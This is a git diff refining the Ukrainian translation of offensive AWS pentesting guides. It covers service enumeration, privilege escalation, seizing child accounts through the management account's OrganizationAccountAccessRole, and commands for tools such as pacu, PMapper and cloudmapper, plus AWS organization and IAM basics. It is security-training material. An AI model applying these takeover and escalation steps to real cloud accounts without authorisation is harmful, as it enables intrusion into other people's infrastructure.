+Перевірте **як виконати перерахування та брутфорс** в: {{#ref}} aws-services/aws-iam-enum.md @@ -111,11 +111,11 @@ aws-services/aws-iam-enum.md > [!NOTE] > Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\ -> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.** +> У наступному розділі ви можете перевірити деякі способи **перерахування деяких загальних сервісів.** -## Services Enumeration, Post-Exploitation & Persistence +## Перерахування сервісів, пост-експлуатація та стійкість -AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, нумерацію** cheatsheets\*\*,\*\* як **уникнути виявлення**, отримати **постійність** та інші **післяексплуатаційні** трюки про деякі з них: +AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, перерахування** шпаргалок\*\*,\*\* як **уникнути виявлення**, отримати **стійкість** та інші **пост-експлуатаційні** трюки про деякі з них: {{#ref}} aws-services/ @@ -123,13 +123,13 @@ aws-services/ Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](./#automated-tools). -Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів,** ви можете мати можливість їх експлуатувати: +Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів**, ви можете мати можливість їх експлуатувати: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -## Privilege Escalation +## Підвищення привілеїв Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, вказаних у: @@ -137,10 +137,10 @@ aws-unauthenticated-enum-access/ aws-privilege-escalation/ {{#endref}} -## Publicly Exposed Services +## Публічно доступні сервіси -Під час перерахунку сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернеті** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\ -Як pentester/red teamer ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**. +Під час перерахування сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернет** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\ +Як пентестер/червона команда, ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**. У цій книзі ви повинні знайти **інформацію** про те, як знайти **відкриті сервіси AWS та як їх перевірити**. Щодо того, як знайти **вразливості у відкритих мережевих сервісах**, я б рекомендував вам **шукати** конкретний **сервіс** в: @@ -148,24 +148,24 @@ aws-privilege-escalation/ https://book.hacktricks.xyz/ {{#endref}} -## Compromising the Organization +## Компрометація організації -### From the root/management account +### З облікового запису root/управління -Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** і надає політику **AdministratorAccess** для **облікового запису управління** для доступу до нового облікового запису. +Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** та надає політику **AdministratorAccess** обліковому запису **управління** для доступу до нового облікового запису.
-Отже, для доступу як адміністратора до дочірнього облікового запису вам потрібно: +Отже, для доступу як адміністратор до дочірнього облікового запису вам потрібно: -- **Скомпрометувати** **управлінський** обліковий запис і знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор. +- **Компрометувати** обліковий запис **управління** та знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор. - Щоб знайти дочірні облікові записи, перейдіть до розділу організацій у консолі aws або виконайте `aws organizations list-accounts` -- Ви не можете знайти назву ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**. -- **Скомпрометувати** **принципала** в управлінському обліковому записі з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з управлінського облікового запису видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними). +- Ви не можете знайти назви ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**. +- **Компрометувати** **принципала** в обліковому записі управління з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з облікового запису управління видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними). -## Automated Tools +## Автоматизовані інструменти -### Recon +### Рекон - [**aws-recon**](https://github.com/darkbitio/aws-recon): Багатопотоковий інструмент для збору **інвентаризації**, орієнтований на безпеку AWS, написаний на Ruby. ```bash @@ -178,8 +178,8 @@ AWS_PROFILE= aws_recon \ --regions global,us-east-1,us-east-2 \ --verbose ``` -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist - це **інструмент для багатохмарного отримання активів** (імена хостів, IP-адреси) від постачальників хмар. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функціональності, включаючи аудит на предмет проблем безпеки. +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist є **інструментом для багатьох хмар для отримання активів** (імен хостів, IP-адрес) від постачальників хмар. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функцій, включаючи аудит на предмет проблем безпеки. ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` -- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j. +- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який об'єднує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі бази даних Neo4j. ```bash # Install pip install cartography @@ -233,15 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та взаємозв'язки з сервісів та систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j. - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Використовує python2) Це інструмент, який намагається **виявити всі** [**ресурси AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource), створені в обліковому записі. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4, так і IPv6), пов'язаних з обліковим записом AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує PowerShell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування безпеки в наступальних цілях проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**. -- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи підвищення привілеїв** (не в межах облікового запису). +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує powershell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування наступальних заходів безпеки проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**. +- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи privesc** (не в межах облікового запису). ```bash # Install ## Feel free to use venvs @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM користувачів і ролей в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження privesc** шляхів у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM Users та Roles в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження шляхів privesc** у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining - це інструмент оцінки безпеки AWS IAM, який виявляє порушення принципу найменших привілеїв і генерує звіт у форматі HTML з пріоритетом ризику.\ -Він покаже вам потенційно **переповнені привілеї** клієнта, вбудовані та aws **політики** та які **суб'єкти мають доступ до них**. (Він не тільки перевіряє на privesc, але й інші види цікавих дозволів, рекомендовано використовувати). +Він покаже вам потенційно **переповнені** права доступу клієнта, вбудовані та aws **політики** та які **принципи мають доступ до них**. (Він не лише перевіряє на privesc, але й інші цікаві дозволи, рекомендовано використовувати). ```bash # Install pip install cloudsplaining @@ -291,7 +291,7 @@ cloudsplaining download --profile dev cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack оцінює облікові записи AWS на наявність **вразливостей перехоплення піддоменів** внаслідок розділених конфігурацій Route53 та CloudFront. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Відправити зворотне зображення +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Завантажити зламаний образ - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag - це інструмент, який **шукає** через публічні знімки Elastic Block Storage (**EBS**) на наявність секретів, які могли бути випадково залишені. ### Аудит @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для проведення оцінок найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для оцінки найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи. ```bash # Install python3, jq and git # Install @@ -314,11 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні експлуатованих шляхів атаки в хмарній інфраструктурі. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні вразливих шляхів атаки в хмарній інфраструктурі. ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарах з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ. +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарному середовищі з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ. ```bash # Install virtualenv -p python3 venv @@ -335,8 +335,8 @@ scout aws -p dev ### Постійний аудит - [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian - це механізм правил для управління обліковими записами та ресурсами публічного хмари. Він дозволяє користувачам **визначати політики для забезпечення добре керованої хмарної інфраструктури**, яка є як безпечною, так і оптимізованою за витратами. Він консолідує багато з тих випадкових скриптів, які мають організації, в легкий і гнучкий інструмент з єдиними метриками та звітністю. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамка **автоматичного виправлення** PacBot надає можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **збирати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщень, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування на них. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамки **автоматичного виправлення** PacBot надають можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **інтегрувати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщення, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування. ## DEBUG: Захоплення запитів AWS cli ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 9ccdf2f72..0fb550dff 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,9 +8,9 @@ ### Облікові записи -В AWS є **кореневий обліковий запис**, який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між ними. +В AWS є **кореневий обліковий запис,** який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою. -Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями. +Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями. Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не про облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників. @@ -20,11 +20,11 @@ - Запросити інші існуючі облікові записи в організацію - Видалити облікові записи з організації - Керувати запрошеннями -- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації +- Застосовувати політики до сутностей (корені, OU або облікові записи) в межах організації - Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації. - Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації. -Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками облікових записів. Ви не можете змінити обліковий запис управління організації. +Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками. Ви не можете змінити обліковий запис управління організації. - **Облікові записи учасників** складають всі інші облікові записи в організації. Обліковий запис може бути учасником лише однієї організації одночасно. Ви можете прикріпити політику до облікового запису, щоб застосувати контролі лише до цього одного облікового запису. - Облікові записи учасників **повинні використовувати дійсну електронну адресу** і можуть мати **ім'я**, загалом вони не зможуть керувати виставленням рахунків (але їм можуть надати доступ до цього). @@ -33,20 +33,20 @@ aws organizations create-account --account-name testingaccount --email testingac ``` ### **Організаційні одиниці** -Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні. +Облікові записи можуть бути згруповані в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP є **схожими на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**. +**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для сутностей у членських облікових записах**. Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\ Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований). > [!WARNING] -> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі. +> Зверніть увагу, що **SCP лише обмежують принципалів в обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі. Приклади SCP: @@ -88,11 +88,11 @@ IAM - це сервіс, який дозволяє вам керувати **А - **Авторизація** - Визначає, до чого може отримати доступ особа в системі після її аутентифікації. - **Контроль доступу** - Метод і процес надання доступу до захищеного ресурсу. -IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу осіб до ваших ресурсів у вашому обліковому записі AWS. +IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу особистостей до ваших ресурсів у вашому обліковому записі AWS. ### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши за **електронною адресою та паролем, які ви використовували для створення облікового запису**. +Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого ви отримуєте доступ, увійшовши за допомогою **електронної адреси та пароля, які ви використовували для створення облікового запису**. Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**. @@ -100,9 +100,9 @@ IAM можна визначити за його здатністю керува ### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу). +Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль і до двох ключів доступу). -Коли ви створюєте користувача IAM, ви надаєте йому **права** шляхом включення його до **групи користувачів**, яка має відповідні політики прав, або **безпосередньо прикріплюючи політики** до користувача. +Коли ви створюєте користувача IAM, ви надаєте йому **дозволи**, роблячи його **членом групи користувачів**, до якої прикріплені відповідні політики дозволів (рекомендується), або **безпосередньо прикріплюючи політики** до користувача. Користувачі можуть мати **увімкнене MFA для входу** через консоль. API токени користувачів з увімкненим MFA не захищені MFA. Якщо ви хочете **обмежити доступ ключів API користувачів за допомогою MFA**, вам потрібно вказати в політиці, що для виконання певних дій MFA має бути присутнім (приклад [**тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). @@ -117,7 +117,7 @@ IAM можна визначити за його здатністю керува ### MFA - Багатофакторна аутентифікація Вона використовується для **створення додаткового фактора для аутентифікації** на додаток до ваших існуючих методів, таких як пароль, тим самим створюючи багатофакторний рівень аутентифікації.\ -Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі додатки, як Google Authenticator, щоб активувати MFA в AWS. +Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі програми, як Google Authenticator, щоб активувати MFA в AWS. Політики з умовами MFA можуть бути прикріплені до наступного: @@ -132,32 +132,32 @@ aws sts get-session-token --serial-number --token-code ``` Як [**вказано тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**. -### [IAM групи користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +### [Групи користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [група користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) — це спосіб **прикріпити політики до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**. +Група [користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - це спосіб **прикріплення політик до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**. Ви можете прикріпити **політику на основі ідентичності до групи користувачів**, щоб всі **користувачі** в групі користувачів **отримали дозволи політики**. Ви **не можете** ідентифікувати **групу користувачів** як **`Principal`** у **політиці** (такій як політика на основі ресурсу), оскільки групи стосуються дозволів, а не аутентифікації, а принципи є аутентифікованими сутностями IAM. Ось деякі важливі характеристики груп користувачів: -- **Група користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**. +- Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**. - **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів. - **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї. - Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -### [IAM ролі](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **роль** дуже **схожа** на **користувача**, оскільки це **ідентичність з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM. +Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб бути **прийнятою будь-ким, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM. -IAM роль складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**. +Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**. -#### AWS Служба безпечних токенів (STS) +#### Служба безпеки токенів AWS (STS) -AWS Служба безпечних токенів (STS) — це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Він спеціально розроблений для: +Служба безпеки токенів AWS (STS) - це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Вона спеціально призначена для: ### [Тимчасові облікові дані в IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Тимчасові облікові дані в основному використовуються з IAM ролями**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними. +**Тимчасові облікові дані в основному використовуються з ролями IAM**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними. ### Політики @@ -168,7 +168,7 @@ AWS Служба безпечних 